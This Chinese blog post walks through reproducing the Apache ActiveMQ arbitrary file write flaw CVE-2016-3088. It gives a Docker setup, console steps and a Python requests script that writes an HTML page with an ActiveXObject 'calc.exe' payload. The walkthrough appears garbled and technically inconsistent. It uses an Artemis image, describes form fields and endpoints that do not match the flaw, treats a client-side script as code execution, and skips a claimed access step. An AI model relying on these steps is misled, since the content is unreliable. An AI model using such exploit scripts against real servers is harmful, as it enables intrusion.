以下是Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)的完整攻略:
漏洞介绍
Apache ActiveMQ是一款开源的消息队列系统。当使用ActiveMQ的fileserver和http服务时,可以利用该漏洞将任意文件写入至任意路径,从而造成远程代码执行。
漏洞编号:CVE-2016-3088
漏洞评级:高危
环境搭建
首先需要搭建漏洞环境,可以使用搭建好漏洞环境的Docker镜像,命令如下:
docker run -it --name activemq -p 61616:61616 -p 8161:8161 vromero/activemq-artemis
Docker镜像地址:https://hub.docker.com/r/vromero/activemq-artemis/
复现过程
示例一
接下来,我们使用两种方式来复现该漏洞。
首先,我们可以使用ActiveMQ的管理控制台来复现该漏洞。
- 访问链接:http://127.0.0.1:8161/admin/queues.jsp
- 点击页面上方"Send"按钮,进入新页面。
- 在页面下方的消息编辑框中,输入以下内容:
<html>
<head>
<title>Apache ActiveMQ Test</title>
<SCRIPT LANGUAGE="JavaScript">
function test() {
new ActiveXObject('WScript.Shell').Run('calc.exe');
}
</SCRIPT>
</head>
<body>
<button onclick="test()">Click me</button>
</body>
</html>
- 在页面下方的"Queue"下拉框中选择自己想要的队列,然后点击"Send"按钮。
此时,我们成功发送了一个包含可执行代码的消息,下一步我们需要将其写入到文件。
- 访问链接:http://127.0.0.1:8161/fileserver/
- 在页面下方的"File Name"输入框中输入想要写入的文件名,例如test.html。
- 在"File Contents"输入框中保持原有内容不变。
- 点击"Submit"按钮。
此时,我们成功将包含可执行代码的消息写入了一个名为test.html的文件。
此时,我们成功访问到了包含可执行代码的文件,攻击成功。
示例二
另一种方式是使用Python脚本来实现漏洞的利用。
- 首先需要安装Python的Requests库。使用以下命令安装:
pip install requests
- 然后编写以下脚本:
import requests
activemq_host = 'http://127.0.0.1:8161/'
def send_message_to_queue(queue_name, message):
url = activemq_host + 'api/message/' + queue_name
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'application/json'
}
data = 'body=' + message
response = requests.post(url, headers=headers, data=data)
if response.status_code != 200:
print('Send message failed.')
exit()
def write_file(file_path, file_content):
url = activemq_host + 'fileserver/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': 'application/json'
}
data = {
'fileName': file_path,
'fileContents': file_content
}
response = requests.post(url, headers=headers, data=data)
if response.status_code != 200:
print('Write file failed.')
exit()
if __name__ == '__main__':
queue_name = 'test'
message = '<html><head><title>Apache ActiveMQ Test</title><SCRIPT LANGUAGE="JavaScript">function test() { new ActiveXObject("WScript.Shell").Run("calc.exe"); }</SCRIPT></head><body><button onclick="test()">Click me</button></body></html>'
file_path = 'test.html'
write_file(file_path, message)
send_message_to_queue(queue_name, message)
- 运行脚本,可以看到脚本将包含可执行代码的消息发送到名为test的队列,并将消息写入到test.html文件中。
以上就是使用两种不同方式复现Apache ActiveMQ任意文件写入漏洞的方法及过程。为避免漏洞被利用,建议及时更新漏洞版本或关闭fileserver和http服务。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现 - Python技术站